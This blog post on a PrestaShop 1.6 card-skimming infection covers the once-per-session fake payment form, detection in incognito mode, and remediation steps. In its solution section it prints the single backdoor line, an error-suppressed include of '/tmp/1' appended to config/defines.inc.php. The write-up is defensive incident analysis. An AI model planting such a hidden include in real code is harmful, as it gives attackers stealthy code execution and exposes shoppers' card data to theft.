[Solution] New PrestaShop 1.6 Virus – Fake Card Form, Hard to Detect
A new virus on PrestaShop 1.6 – harder to detect than the previous one
In recent days we came across a new case of malicious activity in a shop running on PrestaShop 1.6. This is important: at the moment one case is confirmed and it concerns version 1.6 (this does not mean the problem cannot appear elsewhere – we simply have not confirmed it yet). What sets this attack apart from the previous one is the way it is displayed and how it “masks” its traces. In practice, a customer may see a fake payment screen, while you – as the administrator – may see nothing suspicious in a standard session.
What came before: the variant with “files pretending to be photos”
The previous wave of attacks consisted, among other things, of creating files disguised as images (at first glance they looked like pictures). This variant is by now largely “cracked” – we can quickly track it down, filter it out and remove the threat. If you are not familiar with the topic, here is a description of the first version of the attack (with examples and the mechanics): A virus-driven fake credit card form – description and analysis.What is different now: a new attack and a “one-time” fake form
The key difference: it appears only once per session
The new variant is clearly cleverer:- the fake form is displayed only once per session,
- after that “first showing” it disappears and does not appear again, neither to the customer nor to the administrator in the same session,
- to see it again you have to enter through private / incognito mode (that is, a new, “clean” session).
The form looks different from the previous one
In earlier cases we often dealt with a fairly “clumsy” insert – at first glance something did not match the theme or the payment step. Here it is different: the screen itself is different, more “credible”, and it can look like part of the card payment process – especially in checkouts where other methods such as Przelewy24, BLIK and the like are shown alongside. In short: if you remember the previous “fake”, this one can fool even people who have already dealt with the topic once.Important: the virus does not hide other payments (e.g. Przelewy24)
In this new variant, pay attention to one more thing: the fake form does not replace and does not hide other payment methods. The checkout looks “normal” – you still see e.g. Przelewy24, BLIK, instalments and so on, and the suspicious card block appears next to them / within the payment section. This is precisely what makes the attack more credible, because the customer gets the impression that it is simply one more payment method in the shop, and not something “instead of” the payments.How to tell that you have this problem
Symptoms on the customer side
Watch for these signals:- a screen suggesting a card payment suddenly appears, although the shop normally does not look like that,
- a customer reports a “strange form”, a “strange payment page” or “card pop-ups”,
- the problem is not reproducible in normal mode, but returns in incognito,
- customers see something you cannot find in the admin panel or in the same session.
Symptoms during testing
The simplest test (and often the only one that reveals it):- Open the shop in private / incognito mode.
- Go to the cart and proceed to payment.
- If you see a suspicious form – close the tab.
- Open the same thing again in the same incognito session – it may not come back.
- Open a new incognito window – it will often appear again.
Why it is so hard to detect
The files look clean
In this particular case:- we analysed the files (core + theme + overrides + modules) and at first glance everything is clean,
- there are no obvious “inserts” as in the previous version,
- so we are digging deeper – the most likely trail is the database (e.g. a fragment injected into the configuration, CMS content, translations, module settings, hooks stored in the DB, etc.).
What we are doing now: the fight continues, and we have protection “right away”
Most importantly: the fight continues. Since we have not yet been able to pinpoint the source of the fake form, we wrote a program that acts as a “shield”:- it detects and covers the fake form,
- it minimises the risk before we reach the root cause,
- it lets us keep collecting diagnostic information without exposing customers to the threat.
What you can do right now if you suspect an infection
Immediate steps
- check the checkout in incognito (several attempts, different browsers),
- if you use older payment integrations, treat the matter as a priority (especially the checkout and payment areas),
- change the passwords for the admin panel, FTP/SSH, the database and the hosting back end,
- review suspicious activity from recent days (logins, file changes, new admin accounts).
What we are verifying in the background
- further analysis of the database for injections,
- tracking down the “one time per session” mechanism,
- mapping the display conditions (user-agent, referrer, language, currency, traffic source).
Solution — what we found
In this particular case the source of the problem turned out to be the file defines.inc.php in the /config/ directory. At the very end of the licence comment, on line 25, the following statement had been appended:
*/ @include('/tmp/1');

That single line was enough to load external, malicious code from the server’s temporary directory (/tmp/1). The @ operator suppressed all errors — if the file did not exist, nothing happened; if it did, an arbitrary payload was executed without any trace in the PHP logs.
Why was it so hard to detect? The shop was heavily modified — at the level of the theme, the overrides and the core files themselves. With so many changes compared with the original PrestaShop 1.6, one extra line in a configuration file easily gets lost in the noise. Standard scanners that compare files with the original flagged dozens of differences, which effectively masked this one truly dangerous change. In addition, defines.inc.php is not the first place you look when hunting for injections — attention is usually directed at templates, payment modules or JS files.
Conclusions: with heavily modified installations, automatic scanning is not enough — what is key is manually reviewing configuration files and comparing them with clean PrestaShop versions, paying particular attention to include, require, eval and file_get_contents statements in places where they should not be.
Get notified about new articles
Subscribe by e-mail or turn on browser notifications — we only send new blog posts, nothing else.

Comments
No comment at this time!
Leave your comment